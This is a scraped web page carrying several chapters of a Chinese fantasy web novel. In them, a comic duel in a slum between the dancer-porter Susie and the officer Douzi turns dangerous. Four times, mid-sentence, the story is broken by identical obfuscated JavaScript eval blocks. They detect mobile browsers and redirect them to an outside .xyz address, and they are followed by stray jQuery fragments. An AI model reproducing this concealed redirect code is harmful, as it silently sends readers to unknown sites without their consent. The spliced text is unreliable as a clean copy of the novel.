;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052063|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了香味,至少还能出点力,阿邱迫不及待地想为收留者们表演一个单掌劈西瓜了。 “他们每天都工作到很晚,这时恐怕还在打鼾,咱们先回去把东西放下,我请你喝个咖啡。” “哦哦,非常感谢!” 完蛋了,又开始欠人情了。 架在管道上的咖啡馆出现在视线中,阿邱倒吸一口凉气——因为在那个背阴处,意料之外地坐着终止式的两板斧:克洛诺斯大队长与他的罗宾小队员。 叫阿邱来说,克洛诺斯是全世界最不适合出现在这里的人了,可他不仅出现了,还怡然自得地浅灰着融入了周围的空气,当阿邱看过去时,他也正好回头,一见她身旁的苏西,先是狠推了豆子一把:“这就是你说的三百斤壮汉?” 豆子差点用鼻孔享用了半杯拿铁。 苏西神色平静地抬脚上楼,在楼梯正中间就握上了克洛诺斯的蒲扇大手——这就是今日最后的礼貌时刻了。 克洛诺斯开朗道:“你好你好,我们是终止式的成员,来自希孚里亚。敢问这位小哥是淡猫俱乐部的——?” “搬运工。”苏西趁机把墓土蹭到他手上。 “这样啊。我们?我们是巡逻到这边来的。”在透露真实来意之前,克洛诺斯先跟熟人这么解释。 机动队的行动线就是捉摸不透,这都第三天了,阿邱还没搞清楚他们到底是干什么工作的,目前看来,只会毫无计划地随机出现在旧矿山镇的各个角落——那不就是街溜子嘛! 紧接着,她和坐在高处的豆子对上了视线。这个“对上”还不如说是“擦过”,很快豆子的俯瞰转移到了她的新发型上——稍等,先别提醒、先别提醒,让阿邱来猜一下,豆子警官这回想用眼神代劳的一句话是:“你是不是故意要跟当下的审美对着干?” 恭喜他们俩都猜对了!阿邱弱弱地挑了个眉。本来她被苏西忽悠得忘了剪头的初心,现在倒是想起来了——怎么样,这下不就彻底坐实傻子的身份了,看他以后还怎么扯些别的掩盖防备心!昨晚回味着锏是如何回到自己手上的,怕不是吓得觉都没睡好吧嘻嘻嘻。 即便豆子在被揣摩的过程中早已无聊地移开了视线,仿佛咖啡杯都比她阿邱有吸引力,可你别不信,理想状态下,上述都会是事实! 苏西似是察觉到了微妙的气氛,回头问阿邱:“他们是来找你的?” 克洛诺斯收回手,立正站直了:“除了探望阿邱小姐,我们也——有可能——是来查封淡猫俱乐部的。” 阿邱心里一咯噔。 闻言,苏西也失去了吊儿郎当的站姿:“‘有可能’是几个意思?” “查封与否,取决于你们接下来的表现。” “‘你们’又指谁?” 指着楼栋缝隙间的朝阳,克洛诺斯一本正经地宣布:“在这里、在夜之窟,为了正义与荣耀,淡猫俱乐部的搬运工先生,请你与我们终止式的代表光明正大地比试一场。” 一瞬间,阿邱产生了神经幻痛:大哥,知道这是什么地方吗,轮得到做长官的来宣扬正面交战定输赢的古典美学? 她偷眼看看苏西,却惊讶地发现……不是,他怎么也对这次瞎胡闹十分感兴趣的样子? “行啊。”苏西用挑选西瓜的力道反手拍拍阿邱的脑袋,“以我们淡猫俱乐部的福星为名,我接受你的挑战。出招吧!” 什么就出招了,他知不知道对面是什么人啊!为他的生命或死状考虑,阿邱急忙制止:“等等等一下,你们有事能不能先坐下来说!” “好得很,我就喜欢你这种不拖泥带水的!”可能克洛诺斯的屁股天生不属于椅子,他无视了阿邱的满头大汗,只为勇敢的应战者献上掌声,“不过作为B级角斗士,我亲自出手简直是在欺负人,公平起见,罗宾小队员,你来出阵!” 豆子猛回头:“啊?” 18. 第十六章 温兵器 “啊什么啊,这是我喝咖啡时灵光一闪想出来的主意,既合时宜又有看头还有悬念,啧啧啧,女神啊,世上怎会有我这般聪明机智有如先祖附体之人呢!” 三个斗大的问号齐齐砸向气冲霄汉的克洛诺斯,被他铜墙铁壁的脸皮反弹了回来。 就连阿邱都想叹气:如果终止式的惯例是豆子负责采购全队早餐,那么在接下来的很长一段时间里,队长都将见不到半点咖啡因。 不想惹是生非,可不惹是生非就会丢掉工作,面临这种现状,永远被安排的社会新人怎敢有怨言?阿邱眼看着豆子警官起身结了账,拖着沉重的脚步走下来,眼里毫无年轻人应有的光彩,大抵在刚入职时就已失去了罢。 瘦小的招待缩在一旁,听到他们新做的决定,踉踉跄跄跑去了准备间——一只用生锈铁板松松散散钉成的遮雨棚,和夜之窟的建筑风格高度一致。 听不清他尖着嗓子说了什么,不一会,从附近楼栋大大小小的窗口中,探出了一颗颗睡眼惺忪却兴致盎然的脑袋。隔着薄薄的墙壁,人们快速互通了消息,而后,视线齐齐汇聚向斗争气息的发源地。 阿邱明白过来:谈判地点选在容易发生地震的咖啡馆,肯定是马尔科姆副队长昨天来踩点的成果。 可是等会,这算哪门子谈判,几位不是简单地预告了接下来即将发生的事,然后就水到渠成地开始备战了吗——尤其是你这个苏西,搞不好家要被抄了哦? 在她头顶正上方,隔着一个下水管道,两个带妆睡觉的中年男人正在半空中抛接金币——以及观众朋友们,这就开始押注了吗?要不要等裁判宣布了规则再做决定?! “好,双方都没有意见,请大家安静,我来宣读一下规则:这将是一场纯粹体术的决斗,不允许使用魔法和枪械——注意了,这场对决不涉及任何角斗相关规则,因此战斗中不能见血,必须点到即止,若有违背,直接判输;除此之外,时长不限、方式不限,谁先夺下对方的帽子,谁就获胜。” 说完,克洛诺斯老练地露出八颗牙微笑,向楼上楼下的围观群众招招手:“感谢父老乡亲的捧场,就当是为阿瑞斯杯讨个好彩头啦!” 阿邱太阳穴发紧:还好彩头呢,几乎可以预见到,下次向无关人士提起终止式时,作为真正的大赛安保天团,森林戍卫队一定会采用更激烈的情绪与更难听的用词。 随意的规则宣布完毕,再看看双方选手吧:很好,与整场对决的基调相符,一个正在逃避式地打哈欠,一个正在紧张地调整假睫毛的位置。 阿邱也很紧张,拉住苏西小声说:“没问题吗,你还受着伤……” 苏西回以一笑,暗指一下豆子:“受着伤我也能一拳抡飞两个他。” “别吹牛了,这是闹着玩的吗——对了,裁判、裁判!”阿邱跳上克洛诺斯所在的那级台阶,大声提出质疑:“我方没有帽子!” 不问不知道,原来裁判才是最随意的那一个:“假发可以替代帽子嘛。” 如此一来,双方的获胜难度岂不是拉开了差距……也未必。对豆子来说,难度在于扯掉假发需要更复杂的技巧;对苏西来说,难度在于输了比赛头皮还会剧痛——综合考虑下来,技术与体验上的差距竟两相抵消了? 有趣的是,在裁判亲自预告了扯假发的环节后,楼上楼下的观众人数一下子激增了两倍。 豆子深呼吸几口,紧闭双眼,薄削的后背承受着“给你热热身”的蒲扇巴掌,一副英勇就义的样子,所以阿邱进一步发现,对他来说,交手的难度还是次要的,生活中最难的一道题是大清早的让领导一通安排,被迫做好心理建设、预备去扯掉一个女装怪人的假发。 太惨了、太惨了,惨得阿邱拍打着西瓜坐在贵宾席上近距离观战,也不知道是兴奋还是害怕,手指都在微微颤抖。 实在抱歉,狄安娜女神,她打从心底希望苏西把长官们打得落荒而逃……但不太可能,一则长官不是普通夜贼,二则苏西大概不具备能和注册角斗士相抗衡的资质,否则,就算不加入吃公粮的团队,仅靠技能补贴,他也不至于生活在夜之窟这种“好去处”。 聚在窗前的观众们开始呐喊助威了:“加油啊,那个舞男!” 楼下再没有第二个一看就像舞男的人了。如果“像”等于“是”、恰克等于恰比,那么苏西的生意是有多不好啊!就连住在边儿上的街坊邻居都不知道他的花名,即便他身为搬运工的本名就很像花名——就说他该换换穿搭风格的,审美这块听异性的准没错。 阿邱决定先把这件怪事和“牧笛不爱喝咖啡”搁置在同一个档案袋里,夜之窟的一个好处就是没人肯给向阳处的人加油,她只管乐呵呵地看热闹就是。 裁判规定不可使用魔法,那么这一仗纯粹就是冷兵器的交锋了。以支撑咖啡馆的管道为界线,浅灰方选手豆子没有掏出锏,而是接过了克洛诺斯递来的——不是吧,嘴上叫叫警官罢了,没想到他们还真有警棍! 黑方选手苏西则站在十五米开外,手上拎着他就地取材的咖啡壶。 “别在意,我比较擅长使用钝器。”他是这么解释的。 为防止浪费粮食以及误伤,咖啡壶里没有咖啡,只剩咖啡的余温,说明什么?说明它既不是冷兵器,也不是热兵器,它是温兵器呀! 在阿邱的脑内文字游戏中,裁判含着手指吹响了口哨,这回,一场硬仗才是真的开始了。 苏西用脚尖蹭蹭地面,忽地跃起,顺着风势高速旋转着扑向了豆子。 难怪他选择了背阴处的上风口,在自己无论缘分深浅的主场占据了先攻优势。 这时阿邱又发现,苏西裙摆的动式也很有看头嘛——第一个悬念揭晓了,是风中凋零的玫瑰花,玫瑰花生前吃得很好开得很饱满,于是她决定原谅曳尾裙一分钟! 豆子横起警棍,抵挡住钻头一样袭来的敌人,咖啡壶与之相接,发出“铮”的一声脆响。 苏西语带挑衅:“准头一般啊,小哥!” 伴着冷嗤,豆子的双臂瞬时发力,警棍带着呼哨划破空气,将苏西推离进攻范围。 借势在空中打了几个转,苏西轻盈落地,竟还有余力向观众行了个提裙礼。 掌声为他的优雅稀稀拉拉响了起来。 至此,克洛诺斯对他攒的局露出十分满意的神色,两步跨到咖啡馆来观战。招待员蹭过来,小心翼翼地说:“先生,刚才结账时算错了价格,您还欠我们……五个银币。” “哦,不好意思!”察觉不到对方的谎言,克洛诺斯照直丢给他一个金币:“麻烦你再上点吃的来,什么都行——阿邱小姐,你有没有忌口?” 说话间,豆子将握着警棍的左手背在身后,尽力缩小身体与风接触的面积,俯身闪至苏西身前,利用距离蓄出势能,挥出猛力的一棍。 “我什么都吃,量大管饱就行!”阿邱答道。她还惦记着给伤员留一份。 苏西偏身,堪堪躲过攻击;豆子紧锣密鼓地反手补上一棍,又被咖啡壶挡住。 “噢哟!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052064|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男招待替自家的用具发出痛呼。 一眨眼,不远处的苏西踏着风拉远了距离,瞥一眼咖啡壶上的凹印,霎时间花容失色:“噢哟,这么狠啊!小哥,你手不疼嘛?” 两个回合结束,观众的热情都被点燃了,整齐划一地为苏西加油鼓劲:“打回去、打回去!” 苏西以兰花指掩唇,一边闪避豆子的攻击,一边迎风发出银铃般的娇笑声,听得阿邱寒毛直竖。 相比之下,豆子的表情就显得稀松平常多了,一张公事公办脸宛如深冬上了冻的圣湖,鱼和波澜一起死了,天鹅落下来都要滑出五百米,站起身就永远失去了巢的方向。 以阿邱贫瘠的知人论世学,这种表情常见于不热爱自己的工作却不得不为生计奔波的人脸上。对豆子来说,打架也不过是打工的一环罢了,早打完早收工、早收工早躺平,恋战?学生气;身体二十出头,心已经生满了锈,除非混到克洛诺斯这个级别可以对下属颐指气使,这个围城也不是什么“好去处”啊…… 即便斗志的差距如此之大,双方一时之间竟也分不出胜负。阿邱抓紧机会跟身边的裁判员搭话,以免被他找到理由给自家队员吹黑哨。 “克洛诺斯先生,方便借一步说话吗?” 她的诉求是:Hello,你们以我为名大闹一场,是不是忘了问我本人的意见啊? 话术上却是安抚的:“我知道你是在担心我……” 克洛诺斯的视线无法从楼下的地震源移开,回话时却带了“什么,阿邱小姐通人性啦”的情绪:“你看出来了?那敢情好,等他们打完你就跟我一起走,这个破‘夜之窟’可不是你能待的地方,一会你先回去收拾行李,拿不动的丢给豆子。” 发觉现在不是委婉的时候,阿邱跳过铺垫,一把抓住克洛诺斯的胳膊,凑到他耳边径直道出核心思想:“你觉得,人在什么情况下明知是火坑还要往里跳?” 克洛诺斯这才给她一个正眼:“哦?原来你是在计划半夜炸了那个俱乐部?” “倒也没有那么极端啊!” 阿邱很烦躁:就像忽视她本人一样,名为主观能动性的、唯一可靠的好伙伴,也一直被人忽视着。 楼下忽然传来“哇”的一声,楼上的地震稍微减缓。是苏西,不知怎么地一屁股坐到了地上,捂着肩头,可怜地举手问裁判:“可以暂停一下吗?我旧伤复发了。” 豆子仿佛被施了定身咒般立即止住攻势,转身走回出发点,抱起双臂静待对手恢复。 苏西狡黠一笑:“很有体育精神嘛,注册角斗士就是不一样!仔细一看,嘿,长得也挺不错。有没有女朋友啊?唔,想也知道……那有没有男朋友?也没有?这也好办,你看人家怎么样?” 阿邱的下巴都惊掉了:这位舞男的搭讪能力完全不像生意不好的样子嘛! 公然被调戏的豆子居然也能稳住心态,沉声道:“少在那装模作样,打不下去就给我认输。” 苏西笑容一僵,在地上蜷缩起来,缓缓把头埋进臂弯里:“呜呜呜,你们都欺负我……” 豆子眼不见为净,掏出手帕,低头擦拭起了武器。 下一秒,观战人群同时怀疑自己睡眠不足——否则,为什么所有人的眼前都闪过了一道鬼影? 那鬼影的速度几乎超越了魔法的上限。回过神来,蜷成一团的可怜虫早已不见踪影,取而代之的,是满目飞扬的尘土。 尘烟散去,豆子从他身后那面墙上缓缓滑落,右臂有气无力地垂落下来。 19. 第十七章 重燃希望 斗争变成了地基,四面八方的视线迅速修筑出舞台,站在正中央的不是伤员,而是花朵般的苏西。 他把战利品抛向半空中,向欢呼雀跃的人群鞠躬行礼,礼毕,卷檐帽稳稳当当地落在他头上。 “我也可以找黑曜石图书馆讨个称号啦。”挥舞着坑坑洼洼的咖啡壶,他朝楼上的阿邱粲然一笑,“不如我从今天开始叫咖啡豆警官吧,简称豆子警官,哈哈!” 克洛诺斯把迟迟未上桌的早餐抛诸脑后,慌忙下楼查看豆子警官——出场更早的那个。此起彼伏的喝彩声、嘘声、嘲笑声、口哨声、歌声似乎在阻碍他的脚步,他回过头,直面统治了小半条街的畅快和癫狂,表情显得十分茫然。 在癫狂的缝隙中,有个穿着得体、反而跟夜之窟格格不入的中年绅士极为醒目。他单脚站在尚未悬挂旗帜的横向金属旗杆上,拍着手、控制不住地发出鹅笑声。周围有几人投去异样的目光,他意识到不妥,打着嗝忍住笑,摘下礼帽,露出精致的卷发,朝人们欠了欠身。 越过人群,阿邱还观察到一个细节:豆子手上空着,但从苏西变成了一九分的发型来看,两个人是同时得手的。 明明有机会,却没有遵从领导指示扯掉假发;即便对手不讲武德,却也保全了他的颜面——如果情况属实,阿邱对豆子的观感还能再好上几分。 苏西用脚尖旋出叫不出名字的舞步,轻飘飘地走向愣在半路的裁判员:“胜负已分!长官呀,是你说方式不限的,我可以保证刚才的速度完全来源于体术,没有半点魔法的痕迹哟,不信你可以找检测人员来做公证——此外,规则还说不见血就行,血是一滴没出,脱臼我可就管不着咯!” 克洛诺斯两个眼珠往上转,回想一番当时的话,无可奈何道:“你说得对,我们愿赌服输。” 混乱中,牧笛匆匆赶来了,也不知道别人怎么给他通风报信的,都没来得及披挂上锁子甲,下半身还系着很宽的一幅猫猫头围裙。 阿邱咚咚咚地跑到楼下,挽住他的粗胳膊,欢天喜地、蹦蹦跳跳地总结了这场对决:“牧笛大姐、牧笛大姐,你们苏西好棒啊,两壶就抡飞了入侵者,他是夜之窟的大英雄!” “什么什么,你慢点说,谁把谁抡飞了?” “还记得那个警官吗?”阿邱指着那堵碎掉一大半的墙,“你看他,被苏西揍得多惨啊!” “嘘,小点声!”牧笛用沾着稀泥巴……不对,好像是肉酱……的手捏住她的嘴,“低调点,也不怕被长官记恨!” 记恨就记恨,怕他们不成?饥肠辘辘的阿邱砸吧着嘴想道。 “还有……”牧笛绝望地说,“那堵墙该不会要我们来赔吧?” “咦?!”阿邱的笑容也淡去了,“我、我也不知道!那先不要庆祝了,看形势开溜吧……” 溜不掉的。万众瞩目的苏西忽闪着假睫毛走向他们,仍然沉浸在胜利的喜悦中,还得意洋洋地不停抛接着豆子的卷檐帽,仿佛那一出厂就是他的玩具:“怎么样,伙计们,给你们长脸没?” 阿邱上前给他捏肩松骨:“大长特长、长了十八层,子弹都打不穿!” 搞偷袭的确不地道,但苏西技不如人,只能最大化地发挥主场优势了——想要达成这个目的,对地形和观众的了解缺一不可,这也是实力的一部分,只有老古板才会否认。 结果也证明了这点:即便恪守裁判定下的规则,也不关心舞男的假发,这一回合也只能算双方打成平手,可观众们一边倒地起哄,逼迫长官阵营认输,实在不好意思啊(脱帽、欠了欠身),这就是背阴处的规则,希望长官们不要只顾着长官了,下次也长长记性吧。 有了上述动机,合理怀疑脱臼一事,苏西就是故意想让豆子吃点苦头的。 牧笛用力嗔他们一眼:“别嘚瑟了,快把帽子还给人家。” 那边厢,克洛诺斯总算把自家队员从墙上抠了下来,牧笛还不知道他的查封威胁,岁月带给他远超一般恶棍的沉稳,就算昨天勇于向两个长官下了逐客令,他也不想把冲突摆到明面上。眼下,冲突已实打实地发生了,他只剩哆哆嗦嗦地凑上前去慰问。 止痛魔法光芒闪烁,豆子坐起来,偏着身子找准位置,“咔吧”一声,熟练地将错位的骨头捏合在一起,那场面残忍异常,然而方圆十米内,只有阿邱一个恶棍为之扭曲了五官。 苏西漫不经心地远远站着,也不上来道歉,歪头审视了一会儿正在手搓化瘀魔法的裁判员,忽而扬起了眉毛:“这么说来,B级角斗士、在终止式服役……原来是你,克洛诺斯。” “没错没错,克洛诺斯就是我!”裁判员还冲他笑笑,“来得匆忙,忘了先跟大家自我介绍。” 真稀奇,面对打伤了部下的大坏蛋,这人竟还能龇个大牙乐出来!? 苏西双臂交叉,夹在腋窝下的指尖缓缓敲打着咖啡壶:“克洛诺斯啊……克洛诺斯。我听过你的一些传闻,在你还叫约特·法伊尔阿本德这个名字的时候。” 来了,比罐头脖子老板更“内情人”的八卦!现在阿邱最为扭曲的一处五官是耳朵,它们照着阿努比斯的长势竖成了天线。 在真的八卦来临之前,作为开场节目的一句话已经很精彩了:克洛诺斯的原名叫约特?要不怎么说不是一家人不进一家门呢,弟弟是单字名,哥哥的名字干脆只有一个字母。 “闲话不多说,作为同行——曾经的同行,哈哈,我实在好奇极了,你究竟是怎么上岸的?除了运气好、放得下身段取悦老头,还有没有不用出卖灵魂的渠道呢?可以推荐给我吗?” 苏西这么问时,神情是求知若渴的,而他身边的牧笛和阿邱双双倒吸了一口冷气,心都凉了半截,两个人加在一起是凉了一截:这位愤怒的底层人,你是故意的还是不小心的?对决都结束了,点到即止的规则怎么又抛到九霄云外去了! 话已落了地,在场脸色最难看的却不是被问懵了的当事人,而是——想想旅馆发生的事吧,不是正在接受他救治的伤员又是谁? “你有胆子……再说一遍吗?” 右臂重伤未愈,豆子却用右手抄起了警棍,在它的支撑下,摇摇晃晃地站起身。 警棍也是温兵器,作为支撑点的需求一消失,便“啪”地栽了下去。豆子空出来的惯用手,伸向了大腿上的枪套,那里藏着他不会轻易出示、但短短两天已为同一个理由出示过两次的冷兵器。 阿邱暗叫不好。百分之一百,这次可不只是威慑那么简单了! 以豆子为圆心,一个环状气场猛然张开,六亲不认地推开了围在一旁的所有人。剑柄在手,锏将将伸展开,形态便疾速发生了变化:骨节带着崩式一个一个分裂开,旋转着围绕在他四周、发出嗡嗡的低鸣;空气向中心席卷,逐渐汇聚成球形气流,包裹着眉眼低垂的豆子缓缓升到半空。 见状,苏西发出了目的达成的冷嗤,稳住心神,握紧了始终没离手的咖啡壶—— 却仿得了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052065|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低血糖般感到一阵眩晕,眼前凭空浮现出一圈圈涟漪…… 等他清醒过来,低头一看,手上的咖啡壶已不翼而飞了。 站在不远处的小石墩上,阿邱一手提着咖啡壶,一手抓着剑柄和警棍,愁眉苦脸地说:“大家都停一停,不要再搞破坏了!夜之窟的房子要是被你们打坏了,常务司可是不给修的……” ———— ———— 同样的事发生了两次,阿邱尝试总结规律,霎时间灵光乍现:这个豆子警官,怕不是克洛诺斯选手的骨灰粉! 嘴脸讨厌的领导受了口头侮辱,他的反应却比领导本人还大——把出发点设想成维护偶像的话,一切都解释得通了。 阿邱握着满手的金属制品,越想越觉得合理。果真如此,以下三点异常可得到充分解释:第一,为什么豆子宁愿忍受这样的工作压力,也要坚持留在终止式?因为他想近距离和偶像接触呀。第二,为什么豆子挥舞警棍的招式,和娜塔莎描述的克洛诺斯十足相似?因为每个角斗士的体术修习都是从模仿偶像开始的呀!第三,为什么克洛诺斯只是送她一根棒棒糖,豆子就要对她冷言冷语?因为他平等地嫉妒着每一个受过偶像垂青的人,并不是在针对阿邱呀。 从多种角度分析完了,疑虑也喜人地消散了。再看看克洛诺斯,这个胸口上缺把杀驴刀的十八层厚脸皮,阿邱实在搞不懂,他的魅力究竟在哪里?连性格这么坏的豆子都能被他降服,该不会是用了什么违禁迷魂药——打住,与其在这儿犯红眼病,还不如吸取成功人士的经验:为了变得受欢迎,要不阿邱也去参加注册角斗士资格考试吧?然后劫富济贫、打响名声,吸引一干□□白道的追随者? 很快她否决了这个提案。体术这东西要童子功的,想她蹲了八年大牢……要是一不小心成名了,罪行迟早要被那群记者扒出来的——等等,她本来不是在想这个层面的事…… 咳,最重要的是,现在可以证实一件事了:不友善的举止在此刻找到了原因,豆子的心可能生了一点锈,但他绝不是个空心人。 既然如此,终止式的两板斧还是值得她为了鸫的事结交结交的!感到路径变畅通,阿邱一步并做两步走,又对找回流星重燃了希望,一时兴奋起来,恨不得让两个伤员加赛一场给自己助助兴。 可惜眼下还不是最合适的时机。一开始,作为正经角斗士的豆子还很迂腐,顾及着对手是“平头老百姓”,特地使用了不擅长的那只手;可自从偶像受辱,他的斗志已远远压过了苏西,此时此刻,输赢已经不重要了,人半脑认为,必须在灾难发生前及时止损。 阿邱并不担心苏西再把豆子抡飞一次——因为永远也不可能了,她只是私心不想失去好不容易找到的落脚点。逮住她一个人还算小事,要是淡猫俱乐部真的被查封了,她要如何原谅自己?不如罪也不赎了、救世主也不当了,就地一死了之吧! ———— ———— 失去了武器,豆子身形一晃、跌倒在地,锏的骨节也像失去骨节似地,横七竖八地散落了一地。 豆子很熟悉那种瞬发低血糖的感受。再次被缴械,顾不得伤情加重,他先朝克洛诺斯投去一个“这下你总信了吧”的眼神,却未能被成功接收。 不知为何,克洛诺斯正抬头看着一根空荡荡的金属旗杆,神色有些复杂。 苏西则摊开手掌。寒风卷走了一根尾部有截断痕迹的头发,若非他眼尖,只怕会忽略过去。 20. 第十八章 植物人(1) “快醒醒!” 为了推动克洛诺斯,阿邱使出了与公牛搏斗的力气。 就是真的公牛也很难不被她推醒:“啊?啊?怎么的呢?” 阿邱把豆子的伙计往他手里一塞,小声又急切地催促道:“别发呆了,快把罗宾警官敲晕了带走,除非你想看到终止式的队员当街杀人。” “有这么严重吗?” “你以为呢!” 克洛诺斯一点没眼力见,竟还反过来安抚她:“不用担心,伤筋动骨对我们角斗士来说是家常便饭——” “你先回头看看再说!” 直面了源头很可能在自己身上的杀意,克洛诺斯倒吸一口凉气:“你说得对——不好,他真要当街杀人了!终于反应过来自己吃亏了吗?当然也可能是过于嫉恶如仇了……咦,那我之前怎么都没发现?不管了,这都得益于我们终止式的悉心栽培……” “废话那么多,赶紧走吧你!” “走了走了。” 克洛诺斯双手按压着空气走上前,先是晓之以理:“大家都冷静一下,常言道,没有计划的仗不必硬打!罗宾小队员,出于各种原因,今天咱们先收工了,改日再来探望阿邱小姐吧。” 事实上,失去武器后,豆子的情绪已经平静了不少,但克洛诺斯凡事讲流程,说完就假意扶他起来,绕到豆子身后,非常没必要地一个手刀敲晕了他,一手提锏、一手扛人,撇下警棍一溜烟跑了。 很好,挑事者一离开,查封和杀戮都不会发生在今天,夜之窟的危机暂时解除啦。 以旁观者身份经历了一个冒险故事的小章节,略感怅然的阿邱目送他们离开,在心里祝愿豆子早日找到更靠谱的偶像。 比如总有一天会出道的……咳咳,救世主什么的。 ———— ———— 一直走到广场,豆子眼里的金星才彻底喷完。 盯着摇摇晃晃的地面,他像浅滩上濒死的鲸一样发出了黑沉沉的叹息:“……你可真行。” ——原件、复印件,有一个算一个,都只会把刀尖对准自己人。 “哎哟哟,醒了?” 克洛诺斯连忙把他放回平地上:“实在抱歉,我也没想到事情会变成这样,下次换你敲我,这总可以吧!要是还不够,你的医药费和这周的伙食费我也全包了!” “……獬先生拨给我们的行动款项本就包含了餐费。” “你也可以另外吃点好的嘛!” “好啊,那我顿顿鹅肝龙虾鱼子酱。” 豆子拍打着身上的尘土,除了脸颊有点鼓,并不见太多生大气的痕迹。 克洛诺斯从不会让“忐忑”这种情绪停留在心口两秒钟以上,自以为哄好了他,当即摆出上级口吻教训起人来:“但你也不能说完全没错!都提醒过你们点到即止了,不遵守规则那是普通人没受过专业训练,你一个注册角斗士干嘛跟他们一般见识?看吧,你一动真格,就怪不得别人反应过激了——等一下等一下,这不对啊!我们是不是被阿邱小姐算计了?把你弄成这样,应该叫他们赔一笔才对吧?可怕,一夜之间,一个如此单纯的女孩都被夜之窟污染成了这样……但你确实不该发那么大火!这不当场就让人拿捏住了,吃了亏也只能夹着尾巴跑路……” 他坚守在自己的逻辑里绕开了一下又绕回来,责备是怎么也说不完的,豆子疲惫地睨他一眼:“那你为什么不亲自澄清?终止式才刚刚起步,名声还要不要了?” 心里却想着,确实不值当,被那种货色羞辱算他活该。 这边厢,克洛诺斯不知从哪位先哲的牙缝里,又抠出来一句谚语装上深沉了:“为他人的无知动怒,对健康毫无益处。” “行、行。”除了自行消化情绪还能怎么办?濒死的鲸想要游下去就得忘了死亡,“今后你再有什么突发奇想,麻烦你亲力亲为,别再逮着我一个人薅了。” 克洛诺斯还不乐意了:“这怎么是突发奇想呢!我计划很严密的你知不知道?也就是没时间提前跟你们商量罢了……下次一定注意,真的对不起——我都说对不起了,再生气就是你的不对了!” “没有下次了。” “哼。道歉归道歉,你是打从心底觉得坐在原地等消息比主动出击更合适吗?公民看到了会怎么想?肯定会骂我们身为警卫队一天天的正事不干、净吃干饭了!” “是,为了早日吃上稀饭,你干脆主动给我们惹上点麻烦。” ——事发后又躲得老远,从不让麻烦落在自己头上。 豆子已经生不动气了,捂着肩膀尝试旋转大臂,在昏迷时暂停的酸胀感密密地泛了起来。 “再怎么说,我们这一趟也不算毫无收获。”克洛诺斯却不顾豆子死活地一把揽过他的肩,“比如我发现了一件事:目前来看,夜之窟对阿邱小姐来讲,竟是个相对安全的地方——” 豆子疼得龇牙咧嘴:“滚开,别碰我!” “哎哎?不好意思……附加的医药费我也全包了。接着说,之所以要——” “我不想听。” “求你了,听一听吧,不然我会憋死的!憋死了我,咱们终止式也终将变成一盘散沙!我不管,现在你捂耳朵,晚上趁你睡觉我就趴你枕边说——虽然我永远搞不明白你几点钟才上床,但关键时刻我也很能熬——是吧,把手放下来,还是现在听比较好吧?那我要说咯:之所以叫你和那个苏西比试,一是想试试他的实力,二是验收一下你近期的训练成果,免得年末那场大考你死得太难看,唉,我可真是用心良苦,感谢的话就不必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052066|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了,表现在行动上即可!第三,也是最主要的一点——”克洛诺斯逐渐严肃起来,“我得探探那‘淡猫俱乐部’的底细,最起码要看看他们是什么态度。” 豆子的语气比克洛诺斯做的汤还要淡:“什么态度啊。” “我问你,根据刚才的比试,你觉得苏西的实力怎样?” “就那样吧,花里胡哨的全是野路子,评级不会超过D。” “那你觉得他为什么能够得手?纯粹是因为不讲规则吗?”克洛诺斯指着他右肩的伤患处,露出意味深长的微笑。 豆子望向远处的地心剧院,幽幽道:“因为他把这次比试当成了给我们一个下马威的机会。” “不错不错,一点就透,我会在月末报告上夸奖你的!除此之外,你还能悟到什么?不,还是让我来说吧,不然好不容易到手的夸奖又要飞走了——你有没有发现,跟我们的情况一样,淡猫俱乐部的目标,很可能就是阿邱小姐本人?” “那是你一个人的情况,不是‘我们’的情况。” “好好,切割你切割你。有一点就很奇怪啊:这帮家伙看起来都是刻板印象里的下九流、恶棍对吧?可他们既不贪阿邱小姐的色,也……确实没财可贪,你认为背后藏着什么目的?” “谁知道呢,养肥了宰来吃吧。”豆子兴致缺缺地转移了话题:“还有,刚才你也看见了,现在可以验证我昨天说的话了吧?” 